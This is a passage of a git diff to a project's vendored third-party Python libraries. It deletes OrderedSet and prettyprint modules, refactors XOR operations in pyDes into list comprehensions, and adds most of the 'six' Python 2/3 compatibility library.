implemented, and - regardless of the order of the elements; so there's not much - freedom for __eq__ or __hash__. We match the algorithm used - by the built-in frozenset type. - """ - MAX = sys.maxint - MASK = 2 * MAX + 1 - n = len(self) - h = 1927868237 * (n + 1) - h &= MASK - for x in self: - hx = hash(x) - h ^= (hx ^ (hx << 16) ^ 89869747) * 3644798167 - h &= MASK - h = h * 69069 + 907133923 - h &= MASK - if h > MAX: - h -= MASK + 1 - if h == -1: - h = 590923713 - return h - -Set.register(frozenset) - - -class MutableSet(Set): - - @abstractmethod - def add(self, value): - """Add an element.""" - raise NotImplementedError - - @abstractmethod - def discard(self, value): - """Remove an element. Do not raise an exception if absent.""" - raise NotImplementedError - - def remove(self, value): - """Remove an element. If not a member, raise a KeyError.""" - if value not in self: - raise KeyError(value) - self.discard(value) - - def pop(self): - """Return the popped value. Raise KeyError if empty.""" - it = iter(self) - try: - value = next(it) - except StopIteration: - raise KeyError - self.discard(value) - return value - - def clear(self): - """This is slow (creates N new iterators!) but effective.""" - try: - while True: - self.pop() - except KeyError: - pass - - def __ior__(self, it): - for value in it: - self.add(value) - return self - - def __iand__(self, it): - for value in (self - it): - self.discard(value) - return self - - def __ixor__(self, it): - if not isinstance(it, Set): - it = self._from_iterable(it) - for value in it: - if value in self: - self.discard(value) - else: - self.add(value) - return self - - def __isub__(self, it): - for value in it: - self.discard(value) - return self - -MutableSet.register(set) - - -class OrderedSet(MutableSet): - - def __init__(self, iterable=None): - self.end = end = [] - end += [None, end, end] # sentinel node for doubly linked list - self.map = {} # key --> [key, prev, next] - if iterable is not None: - self |= iterable - - def __len__(self): - return len(self.map) - - def __contains__(self, key): - return key in self.map - - def __getitem__(self, key): - return list(self)[key] - - def add(self, key): - if key not in self.map: - end = self.end - curr = end[PREV] - curr[NEXT] = end[PREV] = self.map[key] = [key, curr, end] - - def discard(self, key): - if key in self.map: - key, prev, next = self.map.pop(key) - prev[NEXT] = next - next[PREV] = prev - - def __iter__(self): - end = self.end - curr = end[NEXT] - while curr is not end: - yield curr[KEY] - curr = curr[NEXT] - - def __reversed__(self): - end = self.end - curr = end[PREV] - while curr is not end: - yield curr[KEY] - curr = curr[PREV] - - def pop(self, last=True): - if not self: - raise KeyError('set is empty') - key = next(reversed(self)) if last else next(iter(self)) - self.discard(key) - return key - - def __repr__(self): - if not self: - return '%s()' % (self.__class__.__name__,) - return '%s(%r)' % (self.__class__.__name__, list(self)) - - def __eq__(self, other): - if isinstance(other, OrderedSet): - return len(self) == len(other) and list(self) == list(other) - return set(self) == set(other) - - def __del__(self): - if all([KEY, PREV, NEXT]): - self.clear() # remove circular references - -if __name__ == '__main__': - print(OrderedSet('abracadaba')) - print(OrderedSet('simsalabim')) diff --git a/thirdparty/oset/pyoset.py b/thirdparty/oset/pyoset.py deleted file mode 100644 index 223c92a44d7..00000000000 --- a/thirdparty/oset/pyoset.py +++ /dev/null @@ -1,83 +0,0 @@ -#!/usr/bin/env python -# -*- mode:python; tab-width: 2; coding: utf-8 -*- - -"""Partially backported python ABC classes""" - -from __future__ import absolute_import - -try: - from collections import MutableSet -except ImportError: - # Running in Python <= 2.5 - from ._abc import MutableSet - - -KEY, PREV, NEXT = range(3) - - -class OrderedSet(MutableSet): - - def __init__(self, iterable=None): - self.end = end = [] - end += [None, end, end] # sentinel node for doubly linked list - self.map = {} # key --> [key, prev, next] - if iterable is not None: - self |= iterable - - def __len__(self): - return len(self.map) - - def __contains__(self, key): - return key in self.map - - def __getitem__(self, key): - return list(self)[key] - - def add(self, key): - if key not in self.map: - end = self.end - curr = end[PREV] - curr[NEXT] = end[PREV] = self.map[key] = [key, curr, end] - - def discard(self, key): - if key in self.map: - key, prev, next = self.map.pop(key) - prev[NEXT] = next - next[PREV] = prev - - def __iter__(self): - end = self.end - curr = end[NEXT] - while curr is not end: - yield curr[KEY] - curr = curr[NEXT] - - def __reversed__(self): - end = self.end - curr = end[PREV] - while curr is not end: - yield curr[KEY] - curr = curr[PREV] - - def pop(self, last=True): - if not self: - raise KeyError('set is empty') - key = next(reversed(self)) if last else next(iter(self)) - self.discard(key) - return key - - def __repr__(self): - if not self: - return '%s()' % (self.__class__.__name__,) - return '%s(%r)' % (self.__class__.__name__, list(self)) - - def __eq__(self, other): - if isinstance(other, OrderedSet): - return len(self) == len(other) and list(self) == list(other) - return set(self) == set(other) - - def __del__(self): - if all([KEY, PREV, NEXT]): - self.clear() # remove circular references - -oset = OrderedSet diff --git a/thirdparty/prettyprint/__init__.py b/thirdparty/prettyprint/__init__.py deleted file mode 100644 index 1f9e1434354..00000000000 --- a/thirdparty/prettyprint/__init__.py +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env python - -#Copyright (c) 2010, Chris Hall -#All rights reserved. - -#Redistribution and use in source and binary forms, with or without modification, -#are permitted provided that the following conditions are met: - -#* Redistributions of source code must retain the above copyright notice, -#this list of conditions and the following disclaimer. -#* Redistributions in binary form must reproduce the above copyright notice, -#this list of conditions and the following disclaimer in the documentation -#and/or other materials provided with the distribution. - -#THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -#ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -#DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR -#ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -#LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -#ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -#(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -#SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -pass diff --git a/thirdparty/prettyprint/prettyprint.py b/thirdparty/prettyprint/prettyprint.py deleted file mode 100644 index 586d808114a..00000000000 --- a/thirdparty/prettyprint/prettyprint.py +++ /dev/null @@ -1,97 +0,0 @@ -#!/usr/bin/env python - -#Copyright (c) 2010, Chris Hall -#All rights reserved. - -#Redistribution and use in source and binary forms, with or without modification, -#are permitted provided that the following conditions are met: - -#* Redistributions of source code must retain the above copyright notice, -#this list of conditions and the following disclaimer. -#* Redistributions in binary form must reproduce the above copyright notice, -#this list of conditions and the following disclaimer in the documentation -#and/or other materials provided with the distribution. - -#THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -#ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -#DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR -#ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -#LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -#ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -#(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -#SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -from xml.dom import minidom -from xml.dom import Node - -def format(text): - doc = minidom.parseString(text) - root = doc.childNodes[0] - return root.toprettyxml(indent=' ') - -def formatXML(doc, encoding=None): - root = doc.childNodes[0] - return root.toprettyxml(indent=' ', encoding=encoding) - -def _patch_minidom(): - minidom.Text.writexml = _writexml_text - minidom.Element.writexml = _writexml_element - minidom.Node.toprettyxml = _toprettyxml_node - -def _collapse(node): - for child in node.childNodes: - if child.nodeType == Node.TEXT_NODE and len(child.data.strip()) == 0: - child.data = '' - else: - _collapse(child) - -def _writexml_text(self, writer, indent="", addindent="", newl=""): - minidom._write_data(writer, "%s"%(self.data.strip())) - -def _writexml_element(self, writer, indent="", addindent="", newl=""): - # indent = current indentation - # addindent = indentation to add to higher levels - # newl = newline string - writer.write(indent+"<" + self.tagName) - - attrs = self._get_attributes() - a_names = attrs.keys() - a_names.sort() - - for a_name in a_names: - writer.write(" %s=\"" % a_name) - minidom._write_data(writer, attrs[a_name].value) - writer.write("\"") - if self.childNodes: - if self.childNodes[0].nodeType == Node.TEXT_NODE and len(self.childNodes[0].data) > 0: - writer.write(">") - else: - writer.write(">%s"%(newl)) - for node in self.childNodes: - node.writexml(writer,indent+addindent,addindent,newl) - if self.childNodes[-1].nodeType == Node.TEXT_NODE and len(self.childNodes[0].data) > 0: - writer.write("%s" % (self.tagName,newl)) - else: - writer.write("%s%s" % (indent,self.tagName,newl)) - else: - writer.write("/>%s"%(newl)) - -def _toprettyxml_node(self, indent="\t", newl="\n", encoding = None): - _collapse(self) - # indent = the indentation string to prepend, per level - # newl = the newline string to append - writer = minidom._get_StringIO() - if encoding is not None: - import codecs - # Can't use codecs.getwriter to preserve 2.0 compatibility - writer = codecs.lookup(encoding)[3](writer) - if self.nodeType == Node.DOCUMENT_NODE: - # Can pass encoding only to document, to put it into XML header - self.writexml(writer, "", indent, newl, encoding) - else: - self.writexml(writer, "", indent, newl) - return writer.getvalue() - -_patch_minidom() diff --git a/thirdparty/pydes/pyDes.py b/thirdparty/pydes/pyDes.py index 05cb1adc87e..5322bf10cf9 100644 --- a/thirdparty/pydes/pyDes.py +++ b/thirdparty/pydes/pyDes.py @@ -453,7 +453,7 @@ def __BitList_to_String(self, data): def __permutate(self, table, block): """Permutate this block with the specified table""" - return list(map(lambda x: block[x], table)) + return [block[i] for i in table] # Transform the secret key, so that it is ready for data processing # Create the 16 subkeys, K[1] - K[16] @@ -506,7 +506,7 @@ def __des_crypt(self, block, crypt_type): self.R = self.__permutate(des.__expansion_table, self.R) # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here - self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration])) + self.R = [b ^ k for b, k in zip(self.R, self.Kn[iteration])] B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]] # Optimization: Replaced below commented code with above #j = 0 @@ -542,7 +542,7 @@ def __des_crypt(self, block, crypt_type): self.R = self.__permutate(des.__p, Bn) # Xor with L[i - 1] - self.R = list(map(lambda x, y: x ^ y, self.R, self.L)) + self.R = [b ^ l for b, l in zip(self.R, self.L)] # Optimization: This now replaces the below commented code #j = 0 #while j < len(self.R): @@ -603,7 +603,7 @@ def crypt(self, data, crypt_type): # Xor with IV if using CBC mode if self.getMode() == CBC: if crypt_type == des.ENCRYPT: - block = list(map(lambda x, y: x ^ y, block, iv)) + block = [b ^ v for b, v in zip(block, iv)] #j = 0 #while j < len(block): # block[j] = block[j] ^ iv[j] @@ -612,7 +612,7 @@ def crypt(self, data, crypt_type): processed_block = self.__des_crypt(block, crypt_type) if crypt_type == des.DECRYPT: - processed_block = list(map(lambda x, y: x ^ y, processed_block, iv)) + processed_block = [b ^ v for b, v in zip(processed_block, iv)] #j = 0 #while j < len(processed_block): # processed_block[j] = processed_block[j] ^ iv[j] diff --git a/thirdparty/six/__init__.py b/thirdparty/six/__init__.py new file mode 100644 index 00000000000..3de5969b1ad --- /dev/null +++ b/thirdparty/six/__init__.py @@ -0,0 +1,1003 @@ +# Copyright (c) 2010-2024 Benjamin Peterson +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +"""Utilities for writing code that runs on Python 2 and 3""" + +from __future__ import absolute_import + +import functools +import itertools +import operator +import sys +import types + +__author__ = "Benjamin Peterson " +__version__ = "1.17.0" + + +# Useful for very coarse version differentiation. +PY2 = sys.version_info[0] == 2 +PY3 = sys.version_info[0] == 3 +PY34 = sys.version_info[0:2] >= (3, 4) + +if PY3: + string_types = str, + integer_types = int, + class_types = type, + text_type = str + binary_type = bytes + + MAXSIZE = sys.maxsize +else: + string_types = basestring, + integer_types = (int, long) + class_types = (type, types.ClassType) + text_type = unicode + binary_type = str + + if sys.platform.startswith("java"): + # Jython always uses 32 bits. + MAXSIZE = int((1 << 31) - 1) + else: + # It's possible to have sizeof(long) != sizeof(Py_ssize_t). + class X(object): + + def __len__(self): + return 1 << 31 + try: + len(X()) + except OverflowError: + # 32-bit + MAXSIZE = int((1 << 31) - 1) + else: + # 64-bit + MAXSIZE = int((1 << 63) - 1) + del X + +if PY34: + from importlib.util import spec_from_loader +else: + spec_from_loader = None + + +def _add_doc(func, doc): + """Add documentation to a function.""" + func.__doc__ = doc + + +def _import_module(name): + """Import module, returning the module after the last dot.""" + __import__(name) + return sys.modules[name] + + +class _LazyDescr(object): + + def __init__(self, name): + self.name = name + + def __get__(self, obj, tp): + result = self._resolve() + setattr(obj, self.name, result) # Invokes __set__. + try: + # This is a bit ugly, but it avoids running this again by + # removing this descriptor. + delattr(obj.__class__, self.name) + except AttributeError: + pass + return result + + +class MovedModule(_LazyDescr): + + def __init__(self, name, old, new=None): + super(MovedModule, self).__init__(name) + if PY3: + if new is None: + new = name + self.mod = new + else: + self.mod = old + + def _resolve(self): + return _import_module(self.mod) + + def __getattr__(self, attr): + _module = self._resolve() + value = getattr(_module, attr) + setattr(self, attr, value) + return value + + +class _LazyModule(types.ModuleType): + + def __init__(self, name): + super(_LazyModule, self).__init__(name) + self.__doc__ = self.__class__.__doc__ + + def __dir__(self): + attrs = ["__doc__", "__name__"] + attrs += [attr.name for attr in self._moved_attributes] + return attrs + + # Subclasses should override this + _moved_attributes = [] + + +class MovedAttribute(_LazyDescr): + + def __init__(self, name, old_mod, new_mod, old_attr=None, new_attr=None): + super(MovedAttribute, self).__init__(name) + if PY3: + if new_mod is None: + new_mod = name + self.mod = new_mod + if new_attr is None: + if old_attr is None: + new_attr = name + else: + new_attr = old_attr + self.attr = new_attr + else: + self.mod = old_mod + if old_attr is None: + old_attr = name + self.attr = old_attr + + def _resolve(self): + module = _import_module(self.mod) + return getattr(module, self.attr) + + +class _SixMetaPathImporter(object): + + """ + A meta path importer to import six.moves and its submodules. + + This class implements a PEP302 finder and loader. It should be compatible + with Python 2.5 and all existing versions of Python3 + """ + + def __init__(self, six_module_name): + self.name = six_module_name + self.known_modules = {} + + def _add_module(self, mod, *fullnames): + for fullname in fullnames: + self.known_modules[self.name + "." + fullname] = mod + + def _get_module(self, fullname): + return self.known_modules[self.name + "." + fullname] + + def find_module(self, fullname, path=None): + if fullname in self.known_modules: + return self + return None + + def find_spec(self, fullname, path, target=None): + if fullname in self.known_modules: + return spec_from_loader(fullname, self) + return None + + def __get_module(self, fullname): + try: + return self.known_modules[fullname] + except KeyError: + raise ImportError("This loader does not know module " + fullname) + + def load_module(self, fullname): + try: + # in case of a reload + return sys.modules[fullname] + except KeyError: + pass + mod = self.__get_module(fullname) + if isinstance(mod, MovedModule): + mod = mod._resolve() + else: + mod.__loader__ = self + sys.modules[fullname] = mod + return mod + + def is_package(self, fullname): + """ + Return true, if the named module is a package. + + We need this method to get correct spec objects with + Python 3.4 (see PEP451) + """ + return hasattr(self.__get_module(fullname), "__path__") + + def get_code(self, fullname): + """Return None + + Required, if is_package is implemented""" + self.__get_module(fullname) # eventually raises ImportError + return None + get_source = get_code # same as get_code + + def create_module(self, spec): + return self.load_module(spec.name) + + def exec_module(self, module): + pass + +_importer = _SixMetaPathImporter(__name__) + + +class _MovedItems(_LazyModule): + + """Lazy loading of moved objects""" + __path__ = [] # mark as package + + +_moved_attributes = [ + MovedAttribute("cStringIO", "cStringIO", "io", "StringIO"), + MovedAttribute("filter", "itertools", "builtins", "ifilter", "filter"), + MovedAttribute("filterfalse", "itertools", "itertools", "ifilterfalse", "filterfalse"), + MovedAttribute("input", "__builtin__", "builtins", "raw_input", "input"), + MovedAttribute("intern", "__builtin__", "sys"), + MovedAttribute("map", "itertools", "builtins", "imap", "map"), + MovedAttribute("getcwd", "os", "os", "getcwdu", "getcwd"), + MovedAttribute("getcwdb", "os", "os", "getcwd", "getcwdb"), + MovedAttribute("getoutput", "commands", "subprocess"), + MovedAttribute("range", "__builtin__", "builtins", "xrange", "range"), + MovedAttribute("reload_module", "__builtin__", "importlib" if PY34 else "imp", "reload"), + MovedAttribute("reduce", "__builtin__", "functools"), + MovedAttribute("shlex_quote", "pipes", "shlex", "quote"), + MovedAttribute("StringIO", "StringIO", "io"), + MovedAttribute("UserDict", "UserDict", "collections", "IterableUserDict", "UserDict"), + MovedAttribute("UserList", "UserList", "collections"), + MovedAttribute("UserString", "UserString", "collections"), + MovedAttribute("xrange", "__builtin__", "builtins", "xrange", "range"), + MovedAttribute("zip", "itertools", "builtins", "izip", "zip"), + MovedAttribute("zip_longest", "itertools", "itertools", "izip_longest", "zip_longest"), + MovedModule("builtins", "__builtin__"), + MovedModule("configparser", "ConfigParser"), + MovedModule("collections_abc", "collections", "collections.abc" if sys.version_info >= (3, 3) else "collections"), + MovedModule("copyreg", "copy_reg"), + MovedModule("dbm_gnu", "gdbm", "dbm.gnu"), + MovedModule("dbm_ndbm", "dbm", "dbm.ndbm"), + MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread" if sys.version_info < (3, 9) else "_thread"), + MovedModule("http_cookiejar", "cookielib", "http.cookiejar"), + MovedModule("http_cookies", "Cookie", "http.cookies"), + MovedModule("html_entities", "htmlentitydefs", "html.entities"), + MovedModule("html_parser", "HTMLParser", "html.parser"), + MovedModule("http_client", "httplib", "http.client"), + MovedModule("email_mime_base", "email.MIMEBase", "email.mime.base"), + MovedModule("email_mime_image", "email.MIMEImage", "email.mime.image"), + MovedModule("email_mime_multipart", "email.MIMEMultipart", "email.mime.multipart"), + MovedModule("email_mime_nonmultipart", "email.MIMENonMultipart", "email.mime.nonmultipart"), + MovedModule("email_mime_text", "email.MIMEText", "email.mime.text"), + MovedModule("BaseHTTPServer", "BaseHTTPServer", "http.server"), + MovedModule("CGIHTTPServer", "CGIHTTPServer", "http.server"), + MovedModule("SimpleHTTPServer", "SimpleHTTPServer", "http.server"), + MovedModule("cPickle", "cPickle", "pickle"), + MovedModule("queue", "Queue"), + MovedModule("reprlib", "repr"), + MovedModule("socketserver", "SocketServer"), + MovedModule("_thread", "thread", "_thread"), + MovedModule("tkinter", "Tkinter"), + MovedModule("tkinter_dialog", "Dialog", "tkinter.dialog"), + MovedModule("tkinter_filedialog", "FileDialog", "tkinter.filedialog"), + MovedModule("tkinter_scrolledtext", "ScrolledText", "tkinter.scrolledtext"), + MovedModule("tkinter_simpledialog", "SimpleDialog", "tkinter.simpledialog"), + MovedModule("tkinter_tix", "Tix", "tkinter.tix"), + MovedModule("tkinter_ttk", "ttk", "tkinter.ttk"), + MovedModule("tkinter_constants", "Tkconstants", "tkinter.constants"), + MovedModule("tkinter_dnd", "Tkdnd", "tkinter.dnd"), + MovedModule("tkinter_colorchooser", "tkColorChooser", + "tkinter.colorchooser"), + MovedModule("tkinter_commondialog", "tkCommonDialog", + "tkinter.commondialog"), + MovedModule("tkinter_tkfiledialog", "tkFileDialog", "tkinter.filedialog"), + MovedModule("tkinter_font", "tkFont", "tkinter.font"), + MovedModule("tkinter_messagebox", "tkMessageBox", "tkinter.messagebox"), + MovedModule("tkinter_tksimpledialog", "tkSimpleDialog", + "tkinter.simpledialog"), + MovedModule("urllib_parse", __name__ + ".moves.urllib_parse", "urllib.parse"), + MovedModule("urllib_error", __name__ + ".moves.urllib_error", "urllib.error"), + MovedModule("urllib", __name__ + ".moves.urllib", __name__ + ".moves.urllib"), + MovedModule("urllib_robotparser", "robotparser", "urllib.robotparser"), + MovedModule("xmlrpc_client", "xmlrpclib", "xmlrpc.client"), + MovedModule("xmlrpc_server", "SimpleXMLRPCServer", "xmlrpc.server"), +] +# Add windows specific modules. +if sys.platform == "win32": + _moved_attributes += [ + MovedModule("winreg", "_winreg"), + ] + +for attr in _moved_attributes: + setattr(_MovedItems, attr.name, attr) + if isinstance(attr, MovedModule): + _importer._add_module(attr, "moves." + attr.name) +del attr + +_MovedItems._moved_attributes = _moved_attributes + +moves = _MovedItems(__name__ + ".moves") +_importer._add_module(moves, "moves") + + +class Module_six_moves_urllib_parse(_LazyModule): + + """Lazy loading of moved objects in six.moves.urllib_parse""" + + +_urllib_parse_moved_attributes = [ + MovedAttribute("ParseResult", "urlparse", "urllib.parse"), + MovedAttribute("SplitResult", "urlparse", "urllib.parse"), + MovedAttribute("parse_qs", "urlparse", "urllib.parse"), + MovedAttribute("parse_qsl", "urlparse", "urllib.parse"), + MovedAttribute("urldefrag", "urlparse", "urllib.parse"), + MovedAttribute("urljoin", "urlparse", "urllib.parse"), + MovedAttribute("urlparse", "urlparse", "urllib.parse"), + MovedAttribute("urlsplit", "urlparse", "urllib.parse"), + MovedAttribute("urlunparse", "urlparse", "urllib.parse"), + MovedAttribute("urlunsplit", "urlparse", "urllib.parse"), + MovedAttribute("quote", "urllib", "urllib.parse"), + MovedAttribute("quote_plus", "urllib", "urllib.parse"), + MovedAttribute("unquote", "urllib", "urllib.parse"), + MovedAttribute("unquote_plus", "urllib", "urllib.parse"), + MovedAttribute("unquote_to_bytes", "urllib", "urllib.parse", "unquote", "unquote_to_bytes"), + MovedAttribute("urlencode", "urllib", "urllib.parse"), + MovedAttribute("splitquery", "urllib", "urllib.parse"), + MovedAttribute("splittag", "urllib", "urllib.parse"), + MovedAttribute("splituser", "urllib", "urllib.parse"), + MovedAttribute("splitvalue", "urllib", "urllib.parse"), + MovedAttribute("uses_fragment", "urlparse", "urllib.parse"), + MovedAttribute("uses_netloc", "urlparse", "urllib.parse"), + MovedAttribute("uses_params", "urlparse", "urllib.parse"), + MovedAttribute("uses_query", "urlparse", "urllib.parse"), + MovedAttribute("uses_relative", "urlparse", "urllib.parse"), +] +for attr in _urllib_parse_moved_attributes: + setattr(Module_six_moves_urllib_parse, attr.name, attr) +del attr + +Module_six_moves_urllib_parse._moved_attributes = _urllib_parse_moved_attributes + +_importer._add_module(Module_six_moves_urllib_parse(__name__ + ".moves.urllib_parse"), + "moves.urllib_parse", "moves.urllib.parse") + + +class Module_six_moves_urllib_error(_LazyModule): + + """Lazy loading of moved objects in six.moves.urllib_error""" + + +_urllib_error_moved_attributes = [ + MovedAttribute("URLError", "urllib2", "urllib.error"), + MovedAttribute("HTTPError", "urllib2", "urllib.error"), + MovedAttribute("ContentTooShortError", "urllib", "urllib.error"), +] +for attr in _urllib_error_moved_attributes: + setattr(Module_six_moves_urllib_error, attr.name, attr) +del attr + +Module_six_moves_urllib_error._moved_attributes = _urllib_error_moved_attributes + +_importer._add_module(Module_six_moves_urllib_error(__name__ + ".moves.urllib.error"), + "moves.urllib_error", "moves.urllib.error") + + +class Module_six_moves_urllib_request(_LazyModule): + + """Lazy loading of moved objects in six.moves.urllib_request""" + + +_urllib_request_moved_attributes = [ + MovedAttribute("urlopen", "urllib2", "urllib.request"), + MovedAttribute("install_opener", "urllib2", "urllib.request"), + MovedAttribute("build_opener", "urllib2", "urllib.request"), + MovedAttribute("pathname2url", "urllib", "urllib.request"), + MovedAttribute("url2pathname", "urllib", "urllib.request"), + MovedAttribute("getproxies", "urllib", "urllib.request"), + MovedAttribute("Request", "urllib2", "urllib.request"), + MovedAttribute("OpenerDirector", "urllib2", "urllib.request"), + MovedAttribute("HTTPDefaultErrorHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPRedirectHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPCookieProcessor", "urllib2", "urllib.request"), + MovedAttribute("ProxyHandler", "urllib2", "urllib.request"), + MovedAttribute("BaseHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPPasswordMgr", "urllib2", "urllib.request"), + MovedAttribute("HTTPPasswordMgrWithDefaultRealm", "urllib2", "urllib.request"), + MovedAttribute("AbstractBasicAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPBasicAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("ProxyBasicAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("AbstractDigestAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPDigestAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("ProxyDigestAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPSHandler", "urllib2", "urllib.request"), + MovedAttribute("FileHandler", "urllib2", "urllib.request"), + MovedAttribute("FTPHandler", "urllib2", "urllib.request"), + MovedAttribute("CacheFTPHandler", "urllib2", "urllib.request"), + MovedAttribute("UnknownHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPErrorProcessor", "urllib2", "urllib.request"), + MovedAttribute("urlretrieve", "urllib", "urllib.request"), + MovedAttribute("urlcleanup", "urllib", "urllib.request"), + MovedAttribute("proxy_bypass", "urllib", "urllib.request"), + MovedAttribute("parse_http_list", "urllib2", "urllib.request"), + MovedAttribute("parse_keqv_list", "urllib2", "urllib.request"), +] +if sys.version_info[:2] < (3, 14): + _urllib_request_moved_attributes.extend( + [ + MovedAttribute("URLopener", "urllib", "urllib.request"), + MovedAttribute("FancyURLopener", "urllib", "urllib.request"), + ] + ) +for attr in _urllib_request_moved_attributes: + setattr(Module_six_moves_urllib_request, attr.name, attr) +del attr + +Module_six_moves_urllib_request._moved_attributes = _urllib_request_moved_attributes + +_importer._add_module(Module_six_moves_urllib_request(__name__ + ".moves.urllib.request"), + "moves.urllib_request", "moves.urllib.request") + + +class Module_six_moves_urllib_response(_LazyModule): + + """Lazy loading of moved objects in six.moves.urllib_response""" + + +_urllib_response_moved_attributes = [ + MovedAttribute("addbase", "urllib", "urllib.response"), + MovedAttribute("addclosehook", "urllib", "urllib.response"), + MovedAttribute("addinfo", "urllib", "urllib.response"), + MovedAttribute("addinfourl", "urllib", "urllib.response"), +] +for attr in _urllib_response_moved_attributes: + setattr(Module_six_moves_urllib_response, attr.name, attr) +del attr + +Module_six_moves_urllib_response._moved_attributes = _urllib_response_moved_attributes + +_importer._add_module(Module_six_moves_urllib_response(__name__ + ".moves.urllib.response"), + "moves.urllib_response", "moves.urllib.response") + + +class Module_six_moves_urllib_robotparser(_LazyModule): + + """Lazy loading of moved objects in six.moves.urllib_robotparser""" + + +_urllib_robotparser_moved_attributes = [ + MovedAttribute("RobotFileParser", "robotparser", "urllib.robotparser"), +] +for attr in _urllib_robotparser_moved_attributes: + setattr(Module_six_moves_urllib_robotparser, attr.name, attr) +del attr + +Module_six_moves_urllib_robotparser._moved_attributes = _urllib_robotparser_moved_attributes + +_importer._add_module(Module_six_moves_urllib_robotparser(__name__ + ".moves.urllib.robotparser"), + "moves.urllib_robotparser", "moves.urllib.robotparser") + + +class Module_six_moves_urllib(types.ModuleType): + + """Create a six.moves.urllib namespace that resembles the Python 3 namespace""" + __path__ = [] # mark as package + parse = _importer._get_module("moves.urllib_parse") + error = _importer._get_module("moves.urllib_error") + request = _importer._get_module("moves.urllib_request") + response = _importer._get_module("moves.urllib_response") + robotparser = _importer._get_module("moves.urllib_robotparser") + + def __dir__(self): + return ['parse', 'error', 'request', 'response', 'robotparser'] + +_importer._add_module(Module_six_moves_urllib(__name__ + ".moves.urllib"), + "moves.urllib") + + +def add_move(move): + """Add an item to six.moves.""" + setattr(_MovedItems, move.name, move) + + +def remove_move(name): + """Remove item from six.moves.""" + try: + delattr(_MovedItems, name) + except AttributeError: + try: + del moves.__dict__[name] + except KeyError: + raise AttributeError("no such move, %r" % (name,)) + + +if PY3: + _meth_func = "__func__" + _meth_self = "__self__" + + _func_closure = "__closure__" + _func_code = "__code__" + _func_defaults = "__defaults__" + _func_globals = "__globals__" +else: + _meth_func = "im_func" + _meth_self = "im_self" + + _func_closure = "func_closure" + _func_code = "func_code" + _func_defaults = "func_defaults" + _func_globals = "func_globals" + + +try: + advance_iterator = next +except NameError: + def advance_iterator(it): + return it.next() +next = advance_iterator + + +try: + callable = callable +except NameError: + def callable(obj): + return any("__call__" in klass.__dict__ for klass in type(obj).__mro__) + + +if PY3: + def get_unbound_function(unbound): + return unbound + + create_bound_method = types.MethodType + + def create_unbound_method(func, cls): + return func + + Iterator = object +else: + def get_unbound_function(unbound): + return unbound.im_func + + def create_bound_method(func, obj): + return types.MethodType(func, obj, obj.__class__) + + def create_unbound_method(func, cls): + return types.MethodType(func, None, cls) + + class Iterator(object): + + def next(self): + return 